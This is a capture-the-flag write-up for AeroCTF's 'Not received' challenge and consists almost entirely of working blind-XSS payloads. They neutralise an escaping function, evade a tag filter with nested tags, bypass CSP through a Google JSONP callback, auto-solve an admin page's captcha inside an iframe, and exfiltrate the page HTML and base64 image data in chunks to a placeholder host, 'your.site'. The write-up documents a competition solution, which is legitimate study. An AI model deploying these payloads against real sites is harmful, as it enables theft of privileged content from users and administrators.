Solving a simple captcha and retrieving an image contents through a blind XSS @AeroCTF’s “Not received (points|prize)” w/ @ripp3rsCTF

Context: tweet

Void _.escape

// this made empty the client-side func that escaped our input
_.escape = function(s) {return s}

Leak flag image uri

// XSS through JSONP from accounts.google.com
<scr<script>ipt src="https://accounts.google.com/o/oauth2/revoke?callback=(function(){
  var frame=document.createElement('iframe');
  frame.src='/admin/prize.html';
  frame.onload = function () {
    setTimeout(function() {
      // window.open('http://your.site/leak?leak='%2BencodeURIComponent(frame.contentDocument.body.innerHTML));
      problem = frame.contentDocument.querySelector('span[id=ex]').textContent;
      problem_parts = problem.split(' ');
      uno = problem_parts[0];
      dos = problem_parts[2];
      caso = problem_parts[1];
      // couldn't eval because of CSP
      if (caso == '/') {
         sol = uno / dos;
      };
      if (caso == '*') {
         sol = uno * dos;
      };
      // solve captcha inside iframe
      frame.contentDocument.querySelector('input').value = sol;
      frame.contentDocument.querySelector('button').click();
      // window.open('http://your.site/leak?leak='%2BencodeURIComponent(problem%2Bcaso%2Bsol%2Bproblem_parts));

      setTimeout(function() {
        // leak HTML once captcha is solved
        window.open('http://your.site/leak?leak='%2BencodeURIComponent(frame.contentDocument.body.innerHTML));
      }, 500);
    }, 500);
  };
  document.body.appendChild(frame);
})();"></scr<script>ipt>

Leak image contents

https://stackoverflow.com/questions/12950465/how-to-get-image-bytes-string-base64-in-html5-jquery-javascript

// fail image: /admin/img/bf3adc3899a7b88bbedbe51271472a15.png
<im<img>g src="/admin/img/175193053491407376ff47dc6e834673.png" id="myimage" />
// 2000x2000 wasn't needed but we wanted to make sure it was enough
<can<img>vas width="2000" height="2000" id="mycanvas" style="display: none;"></can<img>vas>

<scr<script>ipt src="https://accounts.google.com/o/oauth2/revoke?callback=(function(){
  var myImage = document.getElementById('myimage');
  var myCanvas = document.getElementById('mycanvas');
  var ctx = myCanvas.getContext('2d');
  ctx.drawImage(myImage, 0, 0);
  var text = myCanvas.toDataURL('image/png');
  i=0;
  // @danielcues magic
  while(-Math.sign(i%2b500-text.length)){
    if (text.substring(i,i%2b500)=='') {
      break;
    }
    window.open('http://your.site/'%2bi%2b'?w='%2BencodeURIComponent(text.substring(i,i%2b500)));
    i = i %2B 500;
      
    // Trying to de-asynchronize window.open
    a = 0;
    while(a!=90000000){a%2B%2B;}
  }
  // leak the left bytes
  window.open('http://your.site/'%2bi%2b'?w='%2BencodeURIComponent(text.substring(i,text.length)));
})();"></scr<script>ipt>